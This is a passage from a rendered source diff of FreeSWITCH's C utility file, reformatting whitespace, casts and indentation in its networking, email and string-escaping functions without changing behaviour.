</del><ins>+                if ((argc = switch_separate_string(cidr_str_dup, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</ins><span class="cx">                         for (i = 0; i &lt; argc; i++) {
</span><span class="cx">                                 switch_status_t this_status;
</span><span class="cx">                                 if ((this_status = switch_network_list_perform_add_cidr_token(list, argv[i], ok, token)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -218,7 +220,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 status = switch_network_list_perform_add_cidr_token(list, cidr_str, ok, token);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(cidr_str_dup);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -242,7 +244,7 @@
</span><span class="cx">         mask = (mask &amp; 0x33333333) + ((mask &gt;&gt; 2) &amp; 0x33333333);
</span><span class="cx">         node-&gt;bits = (((mask + (mask &gt;&gt; 4)) &amp; 0xF0F0F0F) * 0x1010101) &gt;&gt; 24;
</span><span class="cx">         node-&gt;str = switch_core_sprintf(list-&gt;pool, &quot;%s:%s&quot;, host, mask_str);
</span><del>-        
</del><ins>+
</ins><span class="cx">         node-&gt;next = list-&gt;node_head;
</span><span class="cx">         list-&gt;node_head = node;
</span><span class="cx"> 
</span><span class="lines">@@ -461,13 +463,10 @@
</span><span class="cx">         return 1;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to, 
-                                                                                                  const char *from, 
-                                                                                                  const char *headers, 
-                                                                                                  const char *body, 
-                                                                                                  const char *file,
-                                                                                                  const char *convert_cmd,
-                                                                                                  const char *convert_ext)
</del><ins>+SWITCH_DECLARE(switch_bool_t) switch_simple_email(const char *to,
+                                                                                                  const char *from,
+                                                                                                  const char *headers,
+                                                                                                  const char *body, const char *file, const char *convert_cmd, const char *convert_ext)
</ins><span class="cx"> {
</span><span class="cx">         char *bound = &quot;XXXX_boundary_XXXX&quot;;
</span><span class="cx">         const char *mime_type = &quot;audio/inline&quot;;
</span><span class="lines">@@ -489,7 +488,7 @@
</span><span class="cx">                                 newfile = switch_mprintf(&quot;%s.%s&quot;, dupfile, convert_ext);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (newfile) {
</span><span class="cx">                         char cmd[1024] = &quot;&quot;;
</span><span class="cx">                         switch_snprintf(cmd, sizeof(cmd), &quot;%s %s %s&quot;, convert_cmd, file, newfile);
</span><span class="lines">@@ -531,7 +530,7 @@
</span><span class="cx">                         switch_snprintf(buf, B64BUFFLEN, &quot;--%s\nContent-Type: text/plain\n\n&quot;, bound);
</span><span class="cx">                 }
</span><span class="cx">                 if (!write_buf(fd, buf)) {
</span><del>-                        rval = SWITCH_FALSE; 
</del><ins>+                        rval = SWITCH_FALSE;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -615,7 +614,6 @@
</span><span class="cx">         if (zstr(from)) {
</span><span class="cx">                 from = &quot;freeswitch&quot;;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef WIN32
</span><span class="cx">         switch_snprintf(buf, B64BUFFLEN, &quot;type %s | %s -f %s %s %s&quot;, filename, runtime.mailer_app, from, runtime.mailer_app_args, to);
</span><span class="cx"> #else
</span><span class="lines">@@ -637,8 +635,8 @@
</span><span class="cx"> 
</span><span class="cx">         rval = SWITCH_TRUE;
</span><span class="cx"> 
</span><del>- end:        
-        
</del><ins>+  end:
+
</ins><span class="cx">         if (newfile) {
</span><span class="cx">                 unlink(newfile);
</span><span class="cx">                 free(newfile);
</span><span class="lines">@@ -840,11 +838,11 @@
</span><span class="cx"> 
</span><span class="cx">         if (!me || getifaddrs(&amp;ifaddrs) &lt; 0) {
</span><span class="cx">                 return -1;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-        for(i = ifaddrs; i; i = i-&gt;ifa_next) {
-                struct sockaddr_in *s = (struct sockaddr_in *)i-&gt;ifa_addr;
-                struct sockaddr_in *m = (struct sockaddr_in *)i-&gt;ifa_netmask;
</del><ins>+        for (i = ifaddrs; i; i = i-&gt;ifa_next) {
+                struct sockaddr_in *s = (struct sockaddr_in *) i-&gt;ifa_addr;
+                struct sockaddr_in *m = (struct sockaddr_in *) i-&gt;ifa_netmask;
</ins><span class="cx"> 
</span><span class="cx">                 if (s &amp;&amp; m &amp;&amp; s-&gt;sin_addr.s_addr == me-&gt;sin_addr.s_addr) {
</span><span class="cx">                         *mask = m-&gt;sin_addr.s_addr;
</span><span class="lines">@@ -852,9 +850,9 @@
</span><span class="cx">                         return 0;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         freeifaddrs(ifaddrs);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return -2;
</span><span class="cx"> }
</span><span class="cx"> #elif defined(__linux__)
</span><span class="lines">@@ -866,16 +864,16 @@
</span><span class="cx"> 
</span><span class="cx">         static struct ifreq ifreqs[20] = { {{{0}}} };
</span><span class="cx">         struct ifconf ifconf;
</span><del>-        int  nifaces, i;
</del><ins>+        int nifaces, i;
</ins><span class="cx">         int sock;
</span><span class="cx">         int r = -1;
</span><del>-        
-        memset(&amp;ifconf,0,sizeof(ifconf));
-        ifconf.ifc_buf = (char*) (ifreqs);
</del><ins>+
+        memset(&amp;ifconf, 0, sizeof(ifconf));
+        ifconf.ifc_buf = (char *) (ifreqs);
</ins><span class="cx">         ifconf.ifc_len = sizeof(ifreqs);
</span><del>-        
</del><span class="cx"> 
</span><del>-        if ((sock = socket(AF_INET,SOCK_STREAM, 0)) &lt; 0) {
</del><ins>+
+        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0) {
</ins><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -885,17 +883,17 @@
</span><span class="cx"> 
</span><span class="cx">         nifaces = ifconf.ifc_len / sizeof(struct ifreq);
</span><span class="cx"> 
</span><del>-        for(i = 0; i &lt; nifaces; i++) {
</del><ins>+        for (i = 0; i &lt; nifaces; i++) {
</ins><span class="cx">                 struct sockaddr_in *sin = NULL;
</span><span class="cx">                 struct in_addr ip;
</span><span class="cx"> 
</span><span class="cx">                 ioctl(sock, SIOCGIFADDR, &amp;ifreqs[i]);
</span><del>-                sin = (struct sockaddr_in *)&amp;ifreqs[i].ifr_addr;
</del><ins>+                sin = (struct sockaddr_in *) &amp;ifreqs[i].ifr_addr;
</ins><span class="cx">                 ip = sin-&gt;sin_addr;
</span><span class="cx"> 
</span><span class="cx">                 if (ip.s_addr == me-&gt;sin_addr.s_addr) {
</span><span class="cx">                         ioctl(sock, SIOCGIFNETMASK, &amp;ifreqs[i]);
</span><del>-                        sin = (struct sockaddr_in *)&amp;ifreqs[i].ifr_addr;
</del><ins>+                        sin = (struct sockaddr_in *) &amp;ifreqs[i].ifr_addr;
</ins><span class="cx">                         //mask = sin-&gt;sin_addr;
</span><span class="cx">                         *mask = sin-&gt;sin_addr.s_addr;
</span><span class="cx">                         r = 0;
</span><span class="lines">@@ -903,9 +901,9 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">         }
</span><del>-        
- end:
-        
</del><ins>+
+  end:
+
</ins><span class="cx">         close(sock);
</span><span class="cx">         return r;
</span><span class="cx"> 
</span><span class="lines">@@ -932,20 +930,20 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    interface_count = bytes / sizeof(INTERFACE_INFO);
</del><ins>+        interface_count = bytes / sizeof(INTERFACE_INFO);
</ins><span class="cx"> 
</span><span class="cx">         for (x = 0; x &lt; interface_count; ++x) {
</span><del>-                struct sockaddr_in *addr = (struct sockaddr_in *) &amp; (interfaces[x].iiAddress);
</del><ins>+                struct sockaddr_in *addr = (struct sockaddr_in *) &amp;(interfaces[x].iiAddress);
</ins><span class="cx"> 
</span><span class="cx">                 if (addr-&gt;sin_addr.s_addr == me-&gt;sin_addr.s_addr) {
</span><del>-                        struct sockaddr_in *netmask = (struct sockaddr_in *) &amp; (interfaces[x].iiNetmask);
</del><ins>+                        struct sockaddr_in *netmask = (struct sockaddr_in *) &amp;(interfaces[x].iiNetmask);
</ins><span class="cx">                         *mask = netmask-&gt;sin_addr.s_addr;
</span><span class="cx">                         r = 0;
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><del>-end:
</del><ins>+  end:
</ins><span class="cx">         closesocket(sock);
</span><span class="cx">         return r;
</span><span class="cx"> }
</span><span class="lines">@@ -963,18 +961,18 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_resolve_host(const char *host, char *buf, size_t buflen)
</span><span class="cx"> {
</span><span class="cx"> 
</span><del>-    struct addrinfo *ai;
-    int err;
-        
-    if ((err = getaddrinfo(host, 0, 0, &amp;ai))) {
-        return SWITCH_STATUS_FALSE;
-    }
</del><ins>+        struct addrinfo *ai;
+        int err;
</ins><span class="cx"> 
</span><ins>+        if ((err = getaddrinfo(host, 0, 0, &amp;ai))) {
+                return SWITCH_STATUS_FALSE;
+        }
+
</ins><span class="cx">         get_addr(buf, buflen, ai-&gt;ai_addr, sizeof(*ai-&gt;ai_addr));
</span><span class="cx"> 
</span><del>-    freeaddrinfo(ai);
</del><ins>+        freeaddrinfo(ai);
</ins><span class="cx"> 
</span><del>-    return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1001,7 +999,7 @@
</span><span class="cx">         if (len &lt; 16) {
</span><span class="cx">                 return status;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (family) {
</span><span class="cx">         case AF_INET:
</span><span class="cx">                 switch_copy_string(buf, &quot;127.0.0.1&quot;, len);
</span><span class="lines">@@ -1009,7 +1007,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         case AF_INET6:
</span><span class="cx">                 switch_copy_string(buf, &quot;::1&quot;, len);
</span><del>-                base = &quot;2001:503:BA3E::2:30&quot;; // DNS Root server A 
</del><ins>+                base = &quot;2001:503:BA3E::2:30&quot;;        // DNS Root server A 
</ins><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="cx">                 base = &quot;127.0.0.1&quot;;
</span><span class="lines">@@ -1037,7 +1035,7 @@
</span><span class="cx">         freeaddrinfo(address_info);
</span><span class="cx"> 
</span><span class="cx">         if (!getnameinfo((const struct sockaddr *) &amp;l_address, l_address_len, buf, len, NULL, 0, NI_NUMERICHOST)) {
</span><del>-                status = SWITCH_STATUS_SUCCESS;        
</del><ins>+                status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                 if (mask) {
</span><span class="cx">                         get_netmask((struct sockaddr_in *) &amp;l_address, mask);
</span><span class="cx">                 }
</span><span class="lines">@@ -1075,9 +1073,9 @@
</span><span class="cx">                                 goto doh;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr*)&amp;iface_out, sizeof(iface_out)), len);
</del><ins>+                        switch_copy_string(buf, get_addr(abuf, sizeof(abuf), (struct sockaddr *) &amp;iface_out, sizeof(iface_out)), len);
</ins><span class="cx">                         if (mask) {
</span><del>-                                get_netmask((struct sockaddr_in*)&amp;iface_out, mask);
</del><ins>+                                get_netmask((struct sockaddr_in *) &amp;iface_out, mask);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -1372,9 +1370,9 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) get_addr_int(switch_sockaddr_t *sa)
</span><span class="cx"> {
</span><del>-        struct sockaddr_in *s = (struct sockaddr_in *)&amp;sa-&gt;sa;
</del><ins>+        struct sockaddr_in *s = (struct sockaddr_in *) &amp;sa-&gt;sa;
</ins><span class="cx"> 
</span><del>-        return ntohs((unsigned short)s-&gt;sin_addr.s_addr);
</del><ins>+        return ntohs((unsigned short) s-&gt;sin_addr.s_addr);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_cmp_addr(switch_sockaddr_t *sa1, switch_sockaddr_t *sa2)
</span><span class="lines">@@ -1388,37 +1386,41 @@
</span><span class="cx">         struct sockaddr *ss1;
</span><span class="cx">         struct sockaddr *ss2;
</span><span class="cx"> 
</span><del>-        if (!(sa1 &amp;&amp; sa2)) return 0;
</del><ins>+        if (!(sa1 &amp;&amp; sa2))
+                return 0;
</ins><span class="cx"> 
</span><del>-        s1 = (struct sockaddr_in *)&amp;sa1-&gt;sa;
-        s2 = (struct sockaddr_in *)&amp;sa2-&gt;sa;
</del><ins>+        s1 = (struct sockaddr_in *) &amp;sa1-&gt;sa;
+        s2 = (struct sockaddr_in *) &amp;sa2-&gt;sa;
</ins><span class="cx"> 
</span><del>-        s16 = (struct sockaddr_in6 *)&amp;sa1-&gt;sa;
-        s26 = (struct sockaddr_in6 *)&amp;sa2-&gt;sa;
</del><ins>+        s16 = (struct sockaddr_in6 *) &amp;sa1-&gt;sa;
+        s26 = (struct sockaddr_in6 *) &amp;sa2-&gt;sa;
</ins><span class="cx"> 
</span><del>-        ss1 = (struct sockaddr *)&amp;sa1-&gt;sa;
-        ss2 = (struct sockaddr *)&amp;sa2-&gt;sa;
-        
-        if (ss1-&gt;sa_family != ss2-&gt;sa_family) return 0;
</del><ins>+        ss1 = (struct sockaddr *) &amp;sa1-&gt;sa;
+        ss2 = (struct sockaddr *) &amp;sa2-&gt;sa;
</ins><span class="cx"> 
</span><ins>+        if (ss1-&gt;sa_family != ss2-&gt;sa_family)
+                return 0;
+
</ins><span class="cx">         switch (ss1-&gt;sa_family) {
</span><span class="cx">         case AF_INET:
</span><del>-                return (s1-&gt;sin_addr.s_addr == s2-&gt;sin_addr.s_addr &amp;&amp; s1-&gt;sin_port == s2-&gt;sin_port);        
</del><ins>+                return (s1-&gt;sin_addr.s_addr == s2-&gt;sin_addr.s_addr &amp;&amp; s1-&gt;sin_port == s2-&gt;sin_port);
</ins><span class="cx">         case AF_INET6:
</span><span class="cx">                 if (s16-&gt;sin6_addr.s6_addr &amp;&amp; s26-&gt;sin6_addr.s6_addr) {
</span><span class="cx">                         int i;
</span><span class="cx"> 
</span><del>-                        if (s16-&gt;sin6_port != s26-&gt;sin6_port) return 0;
</del><ins>+                        if (s16-&gt;sin6_port != s26-&gt;sin6_port)
+                                return 0;
</ins><span class="cx"> 
</span><del>-                        for(i = 0; i &lt; 4; i++) {
-                                if (*((int32_t *)s16-&gt;sin6_addr.s6_addr + i) != *((int32_t *)s26-&gt;sin6_addr.s6_addr + i)) return 0;
</del><ins>+                        for (i = 0; i &lt; 4; i++) {
+                                if (*((int32_t *) s16-&gt;sin6_addr.s6_addr + i) != *((int32_t *) s26-&gt;sin6_addr.s6_addr + i))
+                                        return 0;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         return 1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        return 0;        
</del><ins>+
+        return 0;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1428,7 +1430,7 @@
</span><span class="cx">         *buf = '\0';
</span><span class="cx"> 
</span><span class="cx">         if (sa) {
</span><del>-                getnameinfo(sa, salen, buf, (socklen_t)len, NULL, 0, NI_NUMERICHOST);
</del><ins>+                getnameinfo(sa, salen, buf, (socklen_t) len, NULL, 0, NI_NUMERICHOST);
</ins><span class="cx">         }
</span><span class="cx">         return buf;
</span><span class="cx"> }
</span><span class="lines">@@ -1438,23 +1440,18 @@
</span><span class="cx">         unsigned short port = 0;
</span><span class="cx">         if (sa) {
</span><span class="cx">                 switch (sa-&gt;sa_family) {
</span><del>-                        case AF_INET:
-                                port = ntohs(((struct sockaddr_in*)sa)-&gt;sin_port);
-                                break;
-                        case AF_INET6:
-                                port = ntohs(((struct sockaddr_in6*)sa)-&gt;sin6_port);
-                                break;
</del><ins>+                case AF_INET:
+                        port = ntohs(((struct sockaddr_in *) sa)-&gt;sin_port);
+                        break;
+                case AF_INET6:
+                        port = ntohs(((struct sockaddr_in6 *) sa)-&gt;sin6_port);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         return port;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(int) switch_build_uri(char *uri,
-                                                                         switch_size_t size,
-                                                                         const char *scheme,
-                                                                         const char *user,
-                                                                         const switch_sockaddr_t *sa,
-                                                                         int flags)
</del><ins>+SWITCH_DECLARE(int) switch_build_uri(char *uri, switch_size_t size, const char *scheme, const char *user, const switch_sockaddr_t *sa, int flags)
</ins><span class="cx"> {
</span><span class="cx">         char host[NI_MAXHOST], serv[NI_MAXSERV];
</span><span class="cx">         struct sockaddr_in6 si6;
</span><span class="lines">@@ -1465,22 +1462,20 @@
</span><span class="cx">                 memcpy(&amp;si6, &amp;sa-&gt;sa, sa-&gt;salen);
</span><span class="cx">                 si6.sin6_scope_id = 0;
</span><span class="cx"> 
</span><del>-                addr = (const struct sockaddr*) &amp;si6;
</del><ins>+                addr = (const struct sockaddr *) &amp;si6;
</ins><span class="cx">         } else {
</span><del>-                addr = (const struct sockaddr*) (intptr_t)&amp;sa-&gt;sa;
</del><ins>+                addr = (const struct sockaddr *) (intptr_t) &amp; sa-&gt;sa;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (getnameinfo(addr, sa-&gt;salen, host, sizeof(host), serv, sizeof(serv),
</span><del>-                ((flags &amp; SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags &amp; SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
-                        return 0;
</del><ins>+                                        ((flags &amp; SWITCH_URI_NUMERIC_HOST) ? NI_NUMERICHOST : 0) | ((flags &amp; SWITCH_URI_NUMERIC_PORT) ? NI_NUMERICSERV : 0)) != 0) {
+                return 0;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         colon = strchr(host, ':');
</span><span class="cx"> 
</span><span class="cx">         return switch_snprintf(uri, size, &quot;%s:%s%s%s%s%s%s%s&quot;, scheme,
</span><del>-                user ? user : &quot;&quot;, user ? &quot;@&quot; : &quot;&quot;,
-                colon ? &quot;[&quot; : &quot;&quot;, host, colon ? &quot;]&quot; : &quot;&quot;,
-                serv[0] ? &quot;:&quot; : &quot;&quot;, serv[0] ? serv : &quot;&quot;);
</del><ins>+                                                   user ? user : &quot;&quot;, user ? &quot;@&quot; : &quot;&quot;, colon ? &quot;[&quot; : &quot;&quot;, host, colon ? &quot;]&quot; : &quot;&quot;, serv[0] ? &quot;:&quot; : &quot;&quot;, serv[0] ? serv : &quot;&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(char) switch_rfc2833_to_char(int event)
</span><span class="lines">@@ -1581,43 +1576,43 @@
</span><span class="cx"> {
</span><span class="cx">         const char *p;
</span><span class="cx">         char *o = out;
</span><del>-        
-        for(p = in; *p; p++) {
-                switch(*p) {
-                        case '\n':
-                                *o++ = '\\';
-                                *o++ = 'n';
-                                break;
-                        case '\r':
-                                *o++ = '\\';
-                                *o++ = 'r';
-                                break;
-                        case '\t':
-                                *o++ = '\\';
-                                *o++ = 't';
-                                break;
-                        case ' ':
-                                *o++ = '\\';
-                                *o++ = 's';
-                                break;
-                        case '$':
-                                *o++ = '\\';
-                                *o++ = '$';
-                                break;
-                        default:
-                                *o++ = *p;
-                                break;
</del><ins>+
+        for (p = in; *p; p++) {
+                switch (*p) {
+                case '\n':
+                        *o++ = '\\';
+                        *o++ = 'n';
+                        break;
+                case '\r':
+                        *o++ = '\\';
+                        *o++ = 'r';
+                        break;
+                case '\t':
+                        *o++ = '\\';
+                        *o++ = 't';
+                        break;
+                case ' ':
+                        *o++ = '\\';
+                        *o++ = 's';
+                        break;
+                case '$':
+                        *o++ = '\\';
+                        *o++ = '$';
+                        break;
+                default:
+                        *o++ = *p;
+                        break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         *o++ = '\0';
</span><span class="cx"> 
</span><del>-        return out;        
</del><ins>+        return out;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(char*) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
</del><ins>+SWITCH_DECLARE(char *) switch_escape_string_pool(const char *in, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><del>-        int len = strlen(in)*2;
</del><ins>+        int len = strlen(in) * 2;
</ins><span class="cx">         char *buf = switch_core_alloc(pool, len);
</span><span class="cx">         return switch_escape_string(in, buf, len);
</span><span class="cx"> }
</span><span class="lines">@@ -1639,7 +1634,7 @@
</span><span class="cx">         for (start = dest = ptr; *ptr; ++ptr) {
</span><span class="cx">                 char e;
</span><span class="cx">                 int esc = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*ptr == ESCAPE_META) {
</span><span class="cx">                         e = *(ptr + 1);
</span><span class="cx">                         if (e == '\'' || e == '&quot;' || (delim &amp;&amp; e == delim) || e == ESCAPE_META || (e = unescape_char(*(ptr + 1))) != *(ptr + 1)) {
</span><span class="lines">@@ -1672,15 +1667,16 @@
</span><span class="cx">         unsigned int count = 0;
</span><span class="cx">         char *d;
</span><span class="cx">         size_t dlen = strlen(delim);
</span><del>-        
</del><ins>+
</ins><span class="cx">         array[count++] = buf;
</span><span class="cx"> 
</span><del>-        while (count &lt; arraylen &amp;&amp; array[count-1]) {
-                if ((d = strstr(array[count-1], delim))) {
</del><ins>+        while (count &lt; arraylen &amp;&amp; array[count - 1]) {
+                if ((d = strstr(array[count - 1], delim))) {
</ins><span class="cx">                         *d = '\0';
</span><span class="cx">                         d += dlen;
</span><span class="cx">                         array[count++] = d;
</span><del>-                } else break;
</del><ins>+                } else
+                        break;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return count;
</span><span class="lines">@@ -1876,7 +1872,7 @@
</span><span class="cx">         size_t string_len = strlen(string);
</span><span class="cx">         size_t i;
</span><span class="cx">         size_t n = 0;
</span><del>-        size_t dest_len = string_len + 1; /* +1 for the opening quote  */
</del><ins>+        size_t dest_len = string_len + 1;        /* +1 for the opening quote  */
</ins><span class="cx">         char *dest, *tmp;
</span><span class="cx"> 
</span><span class="cx">         dest = (char *) malloc(sizeof(char) * dest_len);
</span><span class="lines">@@ -1898,7 +1894,7 @@
</span><span class="cx"> #else
</span><span class="cx">                 case '\'':
</span><span class="cx">                         /* We replace ' by '\'' */
</span><del>-                        dest_len+=3;
</del><ins>+                        dest_len += 3;
</ins><span class="cx">                         tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
</span><span class="cx">                         switch_assert(tmp);
</span><span class="cx">                         dest = tmp;
</span><span class="lines">@@ -1911,9 +1907,9 @@
</span><span class="cx">                 default:
</span><span class="cx">                         dest[n++] = string[i];
</span><span class="cx">                 }
</span><del>-  }
-  
-        dest_len += 2; /* +2 for the closing quote and the null character */
</del><ins>+        }
+
+        dest_len += 2;                                /* +2 for the closing quote and the null character */
</ins><span class="cx">         tmp = (char *) realloc(dest, sizeof(char) * (dest_len));
</span><span class="cx">         switch_assert(tmp);
</span><span class="cx">         dest = tmp;
</span><span class="lines">@@ -2000,96 +1996,96 @@
</span><span class="cx"> 
</span><span class="cx"> const short _switch_C_toupper_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         EOF,
</span><del>-        0x00,        0x01,        0x02,        0x03,        0x04,        0x05,        0x06,        0x07,
-        0x08,        0x09,        0x0a,        0x0b,        0x0c,        0x0d,        0x0e,        0x0f,
-        0x10,        0x11,        0x12,        0x13,        0x14,        0x15,        0x16,        0x17,
-        0x18,        0x19,        0x1a,        0x1b,        0x1c,        0x1d,        0x1e,        0x1f,
-        0x20,        0x21,        0x22,        0x23,        0x24,        0x25,        0x26,        0x27,
-        0x28,        0x29,        0x2a,        0x2b,        0x2c,        0x2d,        0x2e,        0x2f,
-        0x30,        0x31,        0x32,        0x33,        0x34,        0x35,        0x36,        0x37,
-        0x38,        0x39,        0x3a,        0x3b,        0x3c,        0x3d,        0x3e,        0x3f,
-        0x40,        0x41,        0x42,        0x43,        0x44,        0x45,        0x46,        0x47,
-        0x48,        0x49,        0x4a,        0x4b,        0x4c,        0x4d,        0x4e,        0x4f,
-        0x50,        0x51,        0x52,        0x53,        0x54,        0x55,        0x56,        0x57,
-        0x58,        0x59,        0x5a,        0x5b,        0x5c,        0x5d,        0x5e,        0x5f,
-        0x60,        'A',        'B',        'C',        'D',        'E',        'F',        'G',
-        'H',        'I',        'J',        'K',        'L',        'M',        'N',        'O',
-        'P',        'Q',        'R',        'S',        'T',        'U',        'V',        'W',
-        'X',        'Y',        'Z',        0x7b,        0x7c,        0x7d,        0x7e,        0x7f,
-        0x80,        0x81,        0x82,        0x83,        0x84,        0x85,        0x86,        0x87,
-        0x88,        0x89,        0x8a,        0x8b,        0x8c,        0x8d,        0x8e,        0x8f,
-        0x90,        0x91,        0x92,        0x93,        0x94,        0x95,        0x96,        0x97,
-        0x98,        0x99,        0x9a,        0x9b,        0x9c,        0x9d,        0x9e,        0x9f,
-        0xa0,        0xa1,        0xa2,        0xa3,        0xa4,        0xa5,        0xa6,        0xa7,
-        0xa8,        0xa9,        0xaa,        0xab,        0xac,        0xad,        0xae,        0xaf,
-        0xb0,        0xb1,        0xb2,        0xb3,        0xb4,        0xb5,        0xb6,        0xb7,
-        0xb8,        0xb9,        0xba,        0xbb,        0xbc,        0xbd,        0xbe,        0xbf,
-        0xc0,        0xc1,        0xc2,        0xc3,        0xc4,        0xc5,        0xc6,        0xc7,
-        0xc8,        0xc9,        0xca,        0xcb,        0xcc,        0xcd,        0xce,        0xcf,
-        0xd0,        0xd1,        0xd2,        0xd3,        0xd4,        0xd5,        0xd6,        0xd7,
-        0xd8,        0xd9,        0xda,        0xdb,        0xdc,        0xdd,        0xde,        0xdf,
-        0xe0,        0xe1,        0xe2,        0xe3,        0xe4,        0xe5,        0xe6,        0xe7,
-        0xe8,        0xe9,        0xea,        0xeb,        0xec,        0xed,        0xee,        0xef,
-        0xf0,        0xf1,        0xf2,        0xf3,        0xf4,        0xf5,        0xf6,        0xf7,
-        0xf8,        0xf9,        0xfa,        0xfb,        0xfc,        0xfd,        0xfe,        0xff
</del><ins>+        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+        0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+        0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+        0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
+        0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
+        0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
+        0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+        0x60, 'A', 'B', 'C', 'D', 'E', 'F', 'G',
+        'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
+        'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
+        'X', 'Y', 'Z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+        0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+        0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+        0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+        0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+        0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+        0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+        0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+        0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+        0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+        0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+        0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+        0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+        0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+        0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
</ins><span class="cx"> };
</span><span class="cx"> 
